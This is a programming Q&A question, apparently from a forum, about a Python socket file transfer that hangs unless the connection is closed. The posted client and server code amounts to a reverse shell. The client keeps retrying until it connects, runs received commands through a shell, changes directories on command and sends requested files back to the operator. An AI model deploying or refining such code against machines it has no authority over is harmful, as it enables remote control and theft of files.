Python Socket file transfer without closing sockets

Question

I've been trying to transfer large files through python sockets, I can do it but it only works well if I close the connection, I want to keep the connection open and keep transfering files after that

Server:

import socket
import sys
from tqdm import tqdm

IP =
PORT =
ADDR = (IP, PORT)
SIZE = 4096
FORMAT = "utf-8"

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(ADDR)
server.listen()
print("[+] Listening...")

conn, addr = server.accept()
print(f"[+] Client connected from {addr[0]}:{addr[1]}")

#last try:

def receiver():
    file_name = conn.recv(1024).decode()
    file_size = conn.recv(1024).decode()

    with open(file_name, "wb") as file:
        c = 0
        while c <= int(file_size):
            data = conn.recv(1024)
            if not (data):
                break
            file.write(data)
            c += len(data)

def execute_rem(command):
    conn.send(command.encode(FORMAT))
    if command[0] == "exit":
        conn.close()
        server.close()
        exit()

def run():
    while True:
        command = input(">> ")
        if len(command) != 0:
            conn.send(command.encode(FORMAT))
            command = command.split(" ")
            if command[0] == "download" and len(command) == 2:
                receiver()
            else:
                result = conn.recv(SIZE)
                if result == "1":
                    continue
                else:
                    print(str(result, FORMAT))

run()

client:

import os
import sys
import socket
import time
import subprocess
from tqdm import tqdm

IP =
PORT =
ADDR = (IP, PORT)
SIZE = 4096
FORMAT = "utf-8"
WAITTIME = 10
client = 0

while True:
    try:
        client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        client.connect(ADDR)
        break
    except socket.error:
        time.sleep(WAITTIME)

def exec_comnd(command):
    cmd = subprocess.Popen(command,shell = True, stderr = subprocess.PIPE, stdout = subprocess.PIPE, stdin = subprocess.PIPE)
    byte = cmd.stdout.read()+cmd.stderr.read()
    if len(byte) == 0:
        byte = "1"
    return byte

def f_send(file_name):
    file_size = os.path.getsize(file_name)

    client.send(file_name.encode())
    client.send(str(file_size).encode())

    with open(file_name, "rb") as file:
        c = 0
        while c <= file_size:
            data = file.read(1024)
            if not (data):
                break
            client.sendall(data)
            c += len(data)

def run():
    while True:
        command = client.recv(SIZE).decode(FORMAT)
        command = command.split(" ")

        if command[0] == "exit":
            client.close()
            exit()
        elif command[0] == "cd" and len(command) == 2:
            path = command[1]
            os.chdir(path)
            client.send(("Cambio a directorio " + path).encode(FORMAT))
        elif command[0] == "download" and len(command) == 2:
            f_send(command[1])
        else:
            res_comnd = exec_comnd(command)
            client.send(res_comnd)


run()

This is my last attempt but I have tried different ways. The file gets sent but the server gets stuck until I ctl+c, after that, based on the output, server gets stuck on "data = conn.recv(1024))" (terminal output stops at "download test.jpg") and client gets stuck on "client.send(res_comnd)". I don't see why, is the only way closing the socket after the file transfer?

server output:

[+] Listening... [+] Client connected from
IP:PORT
>> download test.jpg

^CTraceback (most recent call last):   File "/home/xxxx/project/nuev/server.py", line 94, in <module>
    run()   File "/home/xxxx/project/nuev/server.py", line 84, in run
    receiver()   File "/home/xxxx/project/nuev/server.py", line 36, in receiver
    data = conn.recv(1024) KeyboardInterrupt

client output:

Traceback (most recent call last):   File "C:\Users\xxxx\Desktop\client.py", line 108, in <module>
        run()   File "C:\Users\xxxx\Desktop\client.py", line 105, in run
        client.send(res_comnd) ConnectionAbortedError: [WinError 10053] An established connection was aborted by the software in your host machine